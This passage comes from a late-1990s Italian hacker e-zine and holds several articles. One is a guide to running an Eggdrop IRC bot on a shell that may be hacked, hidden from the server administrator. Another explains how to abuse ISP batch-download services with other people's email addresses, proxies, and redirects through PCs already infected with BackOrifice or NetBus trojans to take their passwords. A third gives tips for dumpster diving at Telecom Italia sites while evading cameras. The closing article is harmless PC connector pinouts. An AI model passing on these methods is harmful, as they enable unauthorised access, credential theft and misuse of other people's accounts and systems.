unica nota positiva non e' +i ;)
#hackers.it e #hacker.it hanno avuto un brutto periodo , e #warezitalia non
se la sta certo spassando visti i take di BlackLion e L^Angelo ecc.
#calcio e' stato finalmente sostituito e #italia pare sia stao sotto take per
un quarto d'ora ... cosa non sicura ...
#phreak.it e' da molto tempo opless dopo una breve parentesi di Yakuza e
dei suoi 15 bot sulla stessa shell :)
#tgm e' stata bombardata da tentativi di take ( soprattutto lamerate )
Infine segnalo irc.azzurra.it #emuita e #gamez.it che io non frequento ma
e' un server tranquillo ...
Ci si sente ... by TetoFuck
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
GUIDA PRATICA AL SETTAGGIO DI UN BOT
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Come si dice ??? Una BOTta e Via !!!!
Ia PartE Ovvero: la guida pratica al settaggio di un bot
E cosi' ci ritroviamo una volta ancora su questa e-zine....stavolta vi
spieghero'
come fare per settare un bot e sopratuttodi cosa avete bisogno.....Per prima
cosa vorrei specificare che tutto quello che hoimparato e che scrivero' in
questo
articu'lo, l'ho appreso da unfantastico Tut passatomi da un amico proprio in IRC
di cuipero' malauguratamente non ricordo il nome :(Ho cercato di fondere il mio
sapere con il vecchio tut. edi semplificare alcune parti che sembravano troppo
pesanti....La spiegazione e' lunga e complessa quindi i Lamer che
voglionodemordere
lo facciano ora o mai + !!!!Prima cosa l'ispirazione.......bene l'ispirazione
quest'oggi mi e' data dalla mia girl in IRCVale_ria che penso sia il sogno di
ogni Hacker.......
Botting requirement :
1- "aShell" (che non puzzi possibilmente hihihihi)
2- Eggdrop (vi parlero' della versione 1.1.5)
Per quanto riguarda la shell ci sono tanti metodi per ottenerla...comprarla
....ottenerla dal provider.....tradarla....oppure naturalmenteHacKarla !!!.
Per l'eggdrop invece la cosa e' + semplice perche'lo trovate in rete....
Supponiamo di avere una shell e di esserci scaricati l'eggdrop...cosa fare ora
????Bhe...controlliamo se la shell e' eggdroppabile....basta lanciareil comando
"tclsh" nella shelluzza per controllare se sono inseritele librerie TCL....se
ci sono comparira' un prompt da cui usciretelanciando un semplice "exit"...se
non ci sono invece dovretescaricarvele da questo sito
ftp://ftp.scriptics.com/pub/tcl/ e poiUploadarle sulla vostra ashell.Adesso
avete le librerie TCL e subito provvederete a uploadarenella vostra "Ashell"
l'eggdrop 1.1.5 .Dato che nella stramaggioranza dei casi l'egg e' compressolo
dovrete decomprimere ed in seguito compilare :Esempio pratico step by step:Il
file si chiama eggdrop1_1_5.tar.gz1-lo decomprimete con il comando "tar -xzvf
eggdrop1_1_5.tar.gz"2-con la decompressione avrete creato una dir dal nome
eggdrop1_1_5 che provvederete subito a rinominare (non vorrete mica che
l'adm.del server in cui avete la shell se ne accorga cosi' facilmente ??)
3-Entrate nella directory "cd nome_nuova_dir"4-Fate partire il comando
"./configure"
ed "./make eggdrop".Avrete ora compilato l'egg e provvederete tramite il comando
"putegg nome_dir" a mettere gli eseguibili in un'altra dir(questo solo per il
miglior funzionamento del bot).Non vi resta nient'altro che editare il file
di configuarzione(eggdrop.conf) ed in seguito far partire il bot con il
comando"eggdrop -m eggdrop.conf" dove -m viene utilizzato solo al primoavvio
del bot.
Dante Alighieri
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°°°°°°°ÛÛ°°ÛÛ°°°°°°ÛÛ°°°°°°°ÛÛÛÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°°ÛÛ°°ÛÛÛÛÛÛÛÛ°°°°°°°°°°²
²°°°°°°°°°ÛÛ°°ÛÛ°°°°°ÛÛÛÛ°°°°°ÛÛ°°°Û°°ÛÛ°ÛÛ°°°ÛÛ°°ÛÛÛ°°ÛÛ°°ÛÛ°°°°°°°°°°°°°°°°²
²°°°°°°°°°ÛÛÛÛÛÛ°°°°ÛÛ²²ÛÛ°°°ÛÛ°°°°°°°ÛÛÛÛ°°°°ÛÛ°°ÛÛÛÛ°ÛÛ°°ÛÛ°°ÛÛÛÛ°°°°°°°°°°²
²°°°°°°°°°ÛÛ°°ÛÛ°°°ÛÛÛÛÛÛÛÛ°°°ÛÛ°°°Û°°ÛÛ°ÛÛ°°°ÛÛ°°ÛÛ°ÛÛÛÛ°°ÛÛ°°°°ÛÛ°°°°°°°°°°²
²°°°°°°°°°ÛÛ°°ÛÛ°°ÛÛ°°°°°°ÛÛ°°°ÛÛÛÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛÛ°°ÛÛÛÛÛÛÛÛ°°°°°°°°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
LO CHIAMAVANO GUEST-STAR
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Premessuola:
chi mi conosce lo sa, oltre che non essere carabbiniere =) non c'ho mai
voglia di fare un cazzo, figuriamoci scrivere articoli =)
Ma siccome mi hanno inchiodato, del tipo su IRC:
<XXXX> fai un articolo x la ezine Newbies ?
<Cavallo> vabbe' se trovo il tempo vi faccio un articolo
[il giorno dopo]
<YYYY> allora mi hanno detto che scriverai x Newbies
<Cavallo> cazz come giran le voci.. =))
Inizio a pensare di essere una specie di guest-star invitata per
sponsorizzare la e-zine, tant'e' che mi fanno :
<ZZZZ> pure amme lo han chiesto :)
<ZZZZ> pero ho rifiutato
<....>
<ZZZZ> pero se scrive uno come te allora gli scrivo pure io :))
Vabbe' basta aprire parentesi che mi pare di essere Trapattoni, il lettore
si domandera' di che cazzo parla sto articolo, e me lo domando anche io =)
Siccome pensare costa, sbattersi anche, le calorie servono e del maiale (non
pigpen =)) non si butta via mai nulla, facciamo un articolo su...
---------------------------------> FTPBATCH <------------------------------Ooooooo dira' chi non sa cos'e'
Buuuuuu dira' chi sa cos'e'
MooooooNeeeeeCistaffe'naBuatt'i'Marmellet direbbe Frengo se fosse tra di noi
Allora in Goldoni, l'FTPBATCH e' quel servizio che permette di far scaricare
al proprio provider i file che ci interessano, facendoli arrivare in un FTP
piu' o meno pubblico dello stesso provider oppure direttamente in Mail.
Questo servizio e' molto comodo in quanto se ci interessa un file bastardo
porco su un sito .jp che viaggia a 0.001 k/giorno, noi facciamo la richiesta
e il nostro caro provider ce lo scarica quando c'ha tempo colla sua banda.
Altri nomi per il suddetto servizio sono FTPGet o Procedura Batch di download
o procedura automatizzata di tua sorella in croce, c'e' chi lo chiama CARGO
chi lo chiama Vaschetta che mi pare quella dove ci caga il cane vabbe' ci
siamo capiti su cos'e' no ?
La maggior parte dei provider seri ma ormai anche quelli meno seri danno
questo servizio oserei dire "a valore aggiunto", da tin a mclink, da
flashnet a salcazzonet passando per tutti i vari provider locali e non.
The problem is that alcuni provider sono bastarduoli, fanno controlli in modo
che il primo idiota che passa di li' non possa utilizzarlo, ma solo i loro
amati utenti che hanno sborsato profumate lire per l'abbonamento, e noi come
si fa allora ??
Di solito il check e' fatto a 2 livelli, il primo sull'ip da cui e' partita
la richiesta, il secondo sulla mail della persona che fa la richiesta, a cui
poi arrivera' una mail di conferma che il file e' effettivamente arrivato.
Partiamo dall'ultimo, normalmente non e' molto difficile trovare lo username
di qualcuno collegato ad un provider, o conoscendo qualcuno che lo usa, o via
finger (per questo vi rimando al mio articolo su Bfi #2, evvai con un po' di
sana pubblicita' =))) oppure semplicemente facendosi un giro sull'ftp dove
arrivano i file richiesti colla procedura batch, dove potete di solito
trovare dei file descrittivi con su scritto da dove viene il file e chi lo ha
richiesto.
L'ideale sarebbe usare l'email di uno che sapete che usa quel provider e che
non capisce un cazzo di computer cosi' se gli arriva la mail di conferma che
e' arrivato il file manco sa cosa vuol dire.
Il problema forse piu' grosso e' quello dell'ip, perche' se ho un bell'ip
tipo ppp.newbies.it come potro' mai essere ricosciuto dal provider
www.stigrancazzi.it che ha come rete 192.192.66.* ??
NOTA : Il problema dell'ip in alcuni casi insorge solo nel fare la REQ del
file, in altri casi senza appartenere al dominio allowed non si puo' manco
accedere al ftp contenente i file scaricati via batch, in altri casi ancora
se non erro viene richiesto login e password dell'utente, questo varia da
provider a provider.
Le alternative per ovviare a questo problema a mio avviso sono 2 :
1) utilizzo proxy
2) utilizzo trojan
1) Generalmente molti (quasi tutti) i provider hanno un proxy, per es.
proxy.stigrancazzi.it su 80 o 8080, utilizzando questo proxy si appare come
appartenenti al suddetto provider e quindi e' possibile fare tutto cio' che
si vuole, nel senso di fare richiesta, accedere all'ftp etc...
Alcuni provider bastardini xo' settano anche il proxy in modo che non possa
essere usato se non si e' sul provider stesso, in modo che il proxy non
venga sfruttato da gente estranea, in questo caso non ci passa un cazzo e
non ci resta sperare che nel punto 2
2) Come il '97 e' stato l'anno delle Nuke, cosi' nel '98 hanno dominato i
Troiani x rete, da BO a Netbus passando per gli altri meno conosciuti;
non voglio perdere tempo spiegando come si usano, come si trovano, come si
scanna etc.. visto che di troiani se ne e' gia' parlato qui e in altro loco,
vediamo solo a cosa ci possono servire:
con BO o con Netbus (2.x se non erro) e' possibile attivare un redirect,cioe'
si pone in ascolto il pc-vittima su 1 porta voluta e si rigira tutto il
traffico verso host:ip che ci interessa.
In questo modo potremo raggiungere il www.stigrancazzi.it rimbalzando dal
pc-vittima.stigrancazzi.it avendo quindi un ip accettato dal software di
ftpbatch con nostra enorme soddisfazione.
Vi sono invece altri casi in cui il controllo e' fatto a livello di login
e password (e' il caso di McLink se non erro), ovvero il nostro un po' meno
amato provider decide assolutamente di fare entrare SOLO i suoi utenti.
Beh, ma dico io, chi ci vieta di recuperare login e password del suddetto
provider ? Il caro BO e l'amico Netbus (oppure un qualsiasi portscanner)
ci potranno dire quanti utenti del suddetto provider hanno avuto il
<dis>piacere di fare la loro conoscenza, una volta che avete la password
(per queste cose vi rimando al mio articolo su BFI4 e a quanto trovate sulla
mia home page http://fly.to/cavallo [evvai ancora pubblicita' =)]) usate
quelle x loggarvi sul ftp o x fare le richieste.
Il controllo IP, controllo mail e controllo L/P possono venire applicati
insieme, aumentando cosi' la difficolta' dell'utilizzo delle procedure
automatizzate di download, c'e' da dire che se il provider non e' pirla
e' difficile fare qualcosa, se non sperare nell'incompetenza degli utenti
che lo utilizzano.
Io fossi un un provider attiverei check su mail, ip e l/p, senza contare
che attiverei il check ip anche sul proxy cosi' da evitare rigiri poco
piacevoli; inoltre farei qualche documento per i propri utenti che spiega
cosa sono i troiani e come si prendono e ogni tanto farei una scannata
sui miei ip sulle porte classiche BO Netbus e affini cosi' da trovare altri
eventuali clienti idioti, ma visto che al momento non lavoro per un provider,
che dire, cazzi loro che si arrangino =))
NOTA : Non abusate di questa informazione, i provider potrebbero benissimo
disattivare questo ottimo servizio e noi non lo vogliamo =)
NOTA2 : Questa tecnica mi e' stata rivelata dalla SUN Microsystem in cambio
della protezione dei loro sistemi, la rivelo a voi solo perche' alla SUN
sono indietro coi pagamenti e io ho le rate del floppy disk da pagare e visto
che Nobody88 mi ha promesso 1000 lire x il mio intervento mi vendo al miglior
offerente. (Amici del Timone questa e' per voi, coglioni !! =))
(PS Chi non la capisce legga bfi-Natale98 e bfi5, chi non la capisce dopo
averli letti non merita il mio rispetto)
Direi che e' tutto,
Cavallo de Cavallis
----------------------------------------------------------------------------[ Cavallo de Cavallis appears courtesy of S0ftPr0j3ct '99 ]
[ http://fly.to/cavallo <-> [email protected] ]
----------------------------------------------------------------------------ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
TRASHING.. CHE PASSIONE!
³º
º³ Come, quando e perch‚ fare trashing.. ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
DISCLA(i)MER
Prima di leggere questo articolo, ci tengo a sottolineare che io non mi
riterr• affatto responsabile per quello che ho scritto. Pertanto questo
articolo Š solo a scopo informativo e se qualche d'uno (soprattutto lamer
improvvisatisi phreakers) si fa cogliere con le mani nel sacco (eheheh :-)))
sono fatti suoi per cui non interpellate il sottoscritto!
******************************************************************************
Tutto ci• che posso dirvi riguardo la stesura di questo articolo Š che:
- ho ascoltato "Adore" degli Smashing Pumpkins (ovviamente su cd masterizzato
:-P), "Post Orgasmic Chill" degli Skunk Anansie;
- ho bevuto circa un litro di acqua naturale (per chi mi conosce Š strano, ma
vero! =P);
- tutto ad un tratto mi Š venuta in mente una cosa del tipo: <<Pensa a quando
avrai pi— di 70 anni.. andrai a letto senza sapere se ti sveglierai o no il
giorno dopo.. che pacco!!!!>>.
Barzelletta:
- Pronto, SIP?
- NOP!!! :-P
******************************************************************************
A meno di un anno al 2000 la Trashing Italia (ehm, TeLeKkoM Italia) non ha
ancora scoperto cosa sono e a cosa servono i distruggi-documenti, cos• tutta
la documentazione riservata agli addetti ai lavori e contenenti informazioni
riguardo gli utenti finiscono dentro quei simpatici sacchi neri della
spazzatura che solitamente troviamo davanti alle centrali/sedi Telekkom.
Probabilmente un normale passante li lascerebbe l• dove sono, ma non Š sempre
cos•.. aha ahahah (risatina satanica ]:-)>.
"Trashing", che tradotto significa "fare spazzatura" Š sempre stato una delle
tante attivit… di un hacker ed Š ancora un'attivit… indispensabile per un
serio phone phreaker. Per essere chiari, facendo trashing si cerca di
recuperare i sacchi della spazzatura a cui facevo riferimento prima per
venire a conoscenza di informazioni tecniche riservate ai soli operatori
che vi lavorano all'interno (es. schemi elettrici) e quindi per capire i
meccanismi di funzionamento delle cabine telefoniche o delle centrali
telefoniche, per trovare info che fanno riferimento al sistema di numerazione
dei vari distretti, greenz, ecc. (se c'Š anche spazzatura dell'ufficio
vendite allora troverete anche contratti di allacciamento, ricevute di
pagamenti di bollette, ecc.). Purtroppo non sempre si trova quello che ci si
aspetterebbe e quindi potrebbe capitarvi tranquillamente di aprire un sacco e
trovarci solo mozziconi di sigarette, scatolette di tonno, bottiglie di
plastica o addirittura figurine della Barbie (come Š successo a Lord
Destruction un po' di tempo fa :-D). L'importante Š non arrendersi subito,
ma di continuare perch‚ i risultati sono garantiti! ;-)
Se nella vostra citt… c'Š la raccolta differenziata della carta e materiale
plastico, siete fortunati! Infatti, mentre nei sacchi neri potreste trovare
di tutto, in quegli altri sicuramente troverete ci• che fa per voi dato che
al loro interno vi Š solo carta (tra l'altro questi sacchi sono solitamente
trasparenti).
Per evitare di tornare a casa a mani vuote, un consiglio che posso darvi Š
quello di prendere quasi sempre quelli per la raccolta differenziata dei
rifiuti cos• sarete sicuri di trovare soltanto materiale cartaceo, ricco di
preziose informazioni.
Ma. Š reato fare trashing? Da come la penso io no, perch‚ se una persona
"ruba" un sacco della spazzatura che Š sul ciglio della strada non pu•
essere perseguito per legge dato che Š un rifiuto di cui il legittimo
proprietario se ne Š liberato. Purtroppo questo non Š vero, perch‚ una
volta abbandonato un sacco della spazzatura sul bordo della strada, diventa
di propriet… del Comune il quale ha l'incarico di ritirarlo il giorno dopo
e di smaltirlo nelle apposite discariche. Comunque penso che il reato sarebbe
minimo e senza particolari ripercussioni sulla propria fedina penale
(eeeeeee, addirittura!!!!). Per• la faccenda si complica un attimino
(maledetto Ned Flanders :-D) se siete costretti ad entrare nell'apposita
area della centrale o della sede Telekkom in cui viene gettata la spazzatura:
okkio a non farvi beccare all'interno e al reato di "scasso" se c'Š bisogno
di forzare serrature (in questo caso attenzione alle impronte digitali.).
Ad essere sincero, non Š da molto che faccio trashing, ma mi permetto lo
stesso di darvi qualche consiglio che potrebbe sempre servire:
- in base alla posizione del luogo e alla quantit… di traffico che vi circola,
valutate qual Š l'ora pi— adatta e tranquilla per entrare in azione.;
- Š saggio non fare trashing sempre lo stesso giorno della settimana allo
stesso orario;
- fate attenzione a possibili telecamere a circuito chiuso che possono
esserci l• intorno, dato che mi Š gi… capitato ti trovarne qualcuna;
- non fate rumore;
- se possibile, agite di notte e se quella zona Š sottoposta a controlli
costanti da parte di polizia privata o di stato, portatevi qualcuno con
voi che vi faccia da palo;
- se per caso qualcuno vi coglie con le mani nel sacco (eheheheh :-)),
mantenete la calma..: non c'Š niente di male se spostate sul marciapiedi
un sacco che era in mezzo alla strada ;-);
- state attenti infine anche da come vi vestite: Š importante non dare
nell'occhio nŠ destare sospetto e soprattutto cercate di indossare
indumenti che non portate solitamente.
<<E ora che ho i sacchi, che faccio?>> Skappa, skappa! ;-D ma sempre senza
dare nell'okkio.. meglio se puoi caricarli in una macchina bella capiente
cos• rischi di meno: sai. non Š il massimo farsi notare da un passante alle
due del mattino con un sacco della spazzatura imbraccio!!! :-P
Una volta che siete al sicuro con i vostri sacchi, apriteli con calma e
soddisfazione per quello che avete appena fatto. Iniziate a dividere tutto
ci• che pu• sembrarvi utile o interessante e per i propri studi e per la
comunit… underground (ricordate che l'unione fa la forza, per cui
scannerizzate e diffondete tutto come meglio credete); gettate tutto ci•
che non serve in un nuovo sacco, chiudetelo bene ed abbandonatelo (senza
lasciarlo in mezzo alla strada :-)) in un luogo lontano da casa vostra e
da dove avete prelevato il materiale in origine.
^.^
HarLoK
^.^
Gi… che ci sono, colgo l'occasione e ne approfitto per salutare - senza
nessun particolare ordine alfabetico o d'importanza e sperando di non
dimenticare nessuno -: Alphard, 3p41R0x, Blinkinux, Nobody88, CDP e tutta
la Spaghetti Phreak Crew, Lord of Destruction e tutto il D.D.T.ita, |O2|,
DanteAlig, ulntwh99, eXceptiON HandlER, Black Sheep, vecna, |Exe|, DeViLNeT,
Linbus, Terror Keeper, spinDOC, /sPIRIT/ e tutto il SoftPj, areac, McFly,
i miei sballatissimi compagni di classe, la crew degli Spippolatori, la
Terror Groove Headquarters Crew e tutto lo stuff Newbies.
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
PIEDINI CHE CASINO!
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Bene, sperando che davvero vi faccia capire come sono metalmente conciato e
che quindi mi fornisca una valida attenuante a cio' che scrivero' citero'
(in emulazione dichiarata del team di BFI) cio' che ho mangiato e cio' che
ho ascoltato scrivendo questo brevissimo pezzo...
Per la parte cibo solo 5 tortine alla mela del Mulino bianco.
Per la parte audio mi hanno tenuto compagnia:
Rotting Christ : A Dead Poem
Sepulchral Feast : A tribute to Sepultura
Ok, adesso si parte!
Tutto e' iniziato quando dovevo collegare una porta ps/2 al mio pc ma non
avevo uno straccio di info su che cazzo di piedini fossero i +5Volts , il
data e cosi' via...
Rendendomi conto del casino che ho fatto per ottenere le piedinatura corretta,
vi riporto la piedinatura delle piu' normali porte del vostro pc, casomai ne
aveste la necessita'....
-+-Porta seriale maschio da 9 poli visto da davanti
1 2 3 4 5
o o o o o
o o o o
9 8 7 6
|1|
|2|
|3|
|4|
|5|
|6|
|7|
|8|
|9|
DCD
RX
TX
DTR
GND
DSR
RTS
CTS
RI
(data carrier detect)
(ricezione dati)
(trasmissione dati)
(data terminal ready)
(massa)
(data set ready)
(request to send)
(clear to send)
(ring indicator)
-+-Porta seriale maschio 25 poli visto da davanti
1
13
|
|
o o o o o o o o o o o o o
o o o o o o o o o o o o
|
|
1|GND|(massa)
2|TX |(trasmissione dati)
3|RX |(ricezione dati)
4|RTS|(request to send)
5|CTS|(clear to send)
6|DSR|(data set ready)
7|GND|(massa)
14
25
8|DCD|(data carrier detect)
20|DTR|(data terminal ready)
22|RI |(ring indicator)
I piedini non citati sono nulli.
-+-Porta parallela femmina 25 poli vista da davanti
13
1
|
|
o o o o o o o o o o o o o
o o o o o o o o o o o o
|
|
25
14
1|strobe
2|d0
3|d1
4|d2
5|d3
6|d4
7|d5
8|d6
9|d7
10|acknowledge
11|busy
12|paper end
13|select
14|auto line feed
15|error
16|reset
17|select in
18|gnd
19|gnd
20|gnd
21|gnd
22|gnd
23|gnd
24|gnd
25|gnd
(convalida dati emessi)
(data bit zero)
(data bit 1)
(data bit 2)
(data bit 3)
(data bit 4)
(data bit 5)
(data bit 6)
(data bit 7)
(abilitazione emissione nuovi dati)
(stampante occupata)
(fine carta)
(selezione)
(avanzamento automatico di una line
(errore generico)
(inzializzazione)
(valido solo se la porta e' epp)
(massa)
(massa)
(massa)
(massa)
(massa)
(massa)
(massa)
(massa)
Se usate cavi di lunghezza superiore ai 3 metri per stampanti laser i cavi
non possono essere i normali paralleli ma devono essere siglati IEEE1284 e
costano 8 oppure 9 volte tanto dei cavi normali e questa differenza e' dovuta
alla loro struttura interna (intereccio dei cavi fra di loro) ed alla loro
schermatura (cavi della calza di dimensioni maggiori e molto fitti) ma danno
il miglior risultato possibile.
-+- Porta USB femmina a 4 poli vista da davanti
_ _ _ _
| || || || |
= = = =
| | | |
1 2 3 4
1|
2|
3|
4|
gnd
(massa)
data+ (segnale in uscita)
data- (segnale in ingresso)
+5 volt (alimentazione massima di 5 ampere)
Ricordate che la lunghezza massima dei cavi e' pari a 3 metri per ottenere
una velocita' di 1.5 megabit/secondo e non richiedono cavi schermati, se
invece si vuole usare la velocita' di 12 megabit/secondo bisogna usare per
forza cavi schermati ma la distanza aumenta fino a 5 metri.
-+- Porta vga maschio 15 poli visto da davanti
1
\
/
5
o o o o o
6--o o o o o--10
/
11
o o o o o
\
15
pin| funzione in modo vga/svga
|
1 |uscita segnale rosso
2 |uscita segnale verde
3 |uscita segnale blu
4 |non usato
5 |senza connessione
6 |massa segnale
7 |massa segnale
8 |massa segnale
9 |senza connessione
10 |massa sincronia
11 |monitor id 0
12 |senza connessione o id1
13 |sincronia orizz. ttl
14 |sincronia vert. ttl
15 |monitor id2
| funzione in modo vesa pnp
|
|uscita segnale rosso
|uscita segnale verde
|uscita segnale blu
|non usato
|massa
|massa segnale
|massa segnale
|massa segnale
|non usato
|massa sincronia
|non usato
|segnale bus ddc (sda)
|sincronia orizz. o composito ttl
|sincronia vert. ttl
|segnale bus ddc (scl)
Il segnale ddc non e' altro che l'acronimo di display data channel ovvero il
protocollo che consente a windows di riconoscere il tipo di monitor per
adattare la frequenza orizzontale e verticale in funzione della skeda video.
-+- Connettore hard disk ide
-A 40 poli visto da davanti (hd da 3 1/2)
20 --o o o o o o o o o o o o o o o o o o o o-- 1
21 --o o o o o o o o o o o o o o o o o o o o-- 40
-a 44 poli visto da davanti (hd da 2 1/2)
22 --o o o o o o o o o o o o o o o o o o o o o o-- 1
23 --o o o o o o o o o o o o o o o o o o o o o o-- 44
Adesso leggetevi la funzione del pin che poi vi dico perche' ho accomunato i
connettori per hd da computer normale e da computer portatile...
pin|
hd da 3 1/2
|
hd da 2 1/2
|
|
|
|
1 |reset
|reset
|
2 |massa
|massa
|
3 |data bit 7
|data bit 7
|
4 |data bit 8
|data bit 8
|
5 |data bit 6
|data bit 6
|
6 |data bit 9
|data bit 9
|
7 |data bit 5
|data bit 5
|
8 |data bit 10
|data bit 10
|
9 |data bit 4
|data bit 4
|
10 |data bit 11
|data bit 11
|
11 |data bit 3
|data bit 3
|
12 |data bit 12
|data bit 12
|
13 |data bit 2
|data bit 2
|
14 |data bit 13
|data bit 13
|
15 |data bit 1
|data bit 1
|
16 |data bit 14
|data bit 14
|
17 |data bit 0
|data bit 0
|
18 |data bit 15
|data bit 15
|
19 |massa
|massa
|
20 |chiave polarizzazione|chiave polarizzazione|
21 |dma request
|dma request
|
22 |massa
|massa
|
23 |data strobe scrittura|data strobe scrittura|
24 |massa
|massa
|
25 |data strobe lettura |data strobe lettura |
26 |massa
|massa
|
27 |i/o ready
|i/o ready
|
28 |cable select
|cable select
|
29 |dma acknowledge
|dma acknowledge
|
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|massa
|interrupt request
|chip select
|address1
|pdiag (non usato)
|address 0
|address 2
|ide_cs0
|ide_cs1
|led attivita'
|massa
|assente
|assente
|assente
|assente
|massa
|interrupt request
|chip select
|address1
|pdiag (non usato)
|address 0
|address 2
|ide_cs0
|ide_cs1
|led attivita'
|massa
|+5volts circuito
|+5volts motore
|massa generale
|tipo *
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Magia!
Gli schemi coincidono se non fosse che l'hd da 2 1/2 ha gia' integrato nel
suo connettore la tensione di alimentazione!
Con questo schema e' quindi piuttosto facile creare un cavetto che vi
permettera' sia di usare un hd da 3 1/2 sul portatile (dato che gli hd da
2 1/2 sono molto piu' cari , perche' no?) sia di usare un hd di un portatile
di recupero sul vostro pc.
All'ultima fiera dell'elettronica che c'era dalle mia parti i connettori da 3
1/2 verso 2 1/2 costavano circa 30.000 lirette . stessa cosa per l'inverso.
Tenete presente che il cavo non deve obbligatoriamente superare il mezzo
metro di lunghezza, pena perdita di dati nella trasmissione.
Ah, il simbolo * si riferisce al fatto che se il contatto 44 e' messo a massa
l'hd sara' visto solo come ATA.
Invece i contatti 37 e 38 sono per l'indirizzo di i/o da assegnare ovvero
37 | seleziona 1f0-1f7
38 | seleziona 3f6-3f7
-+- Porta midi 15 poli femmina vista da davanti
8-- o o o o o o o o --1
15-- o o o o o o o -- 9
Azzo, pure la porta midi/joistick, ma sto facendo proprio una figata!
Vabbe', andiamo avanti.....
1 |+5 volts
2 |pulsante 1
3 |joi 1 asse
4 |massa
5 |massa
6 |joi 2 asse
7 |pulsante 2
8 |+5 volts
9 |+5 volts
10|pulsante 4
11|joi 2 asse
12|midi tx
13|joi 2 asse
14|pulsante 3
15|midi rx
x
y
x
y
Alcune cosette da dire in merito :
-gli assi x ed y dei joi sono segnali analogici
-i pulsanti sono invece segnali digitali
Quindi non fate come quelli che non hanno i joi collegabili in cascata che si
comprano lo scatolotto per duplicare le prese joi ed avere la porta midi
distinta...
Con un pochino di ragionamento vi potete fare da voi il circuitino ;-]
-+- Porta ps/2 femmina vista da davanti (e meno male che volevo parlare solo
di questa...)
3
o
4
o
2- o |--| o -5
1- o |__| o -6
1
2
3
4
5
6
|
|
|
|
|
|
clock
massa
data
non usato
+5volts
non usato
Ok, le mie fatiche finiscono qui, quando ne avro' ancora voglia vi faro' le
piedinature della famiglia scsi con ultre wide e cazzi varii, ma adesso sono
davvero stanco,il lavoro mi uccide e le nottate in bianco (in entrambi i
sensi) anke...
Logico che se bruciate l'hd,la piastra il mouse o vostra nonna io non ne sono
assolutamente responsabile!
Ok, adesso in branda, volevo solo dirvi che al consumo dell'articolo va
aggiunta una bottiglia di acqua gasata e un bel pakketto di rits da 250
grammi!
Ciao,
RigoR MorteM , SPP 98-99
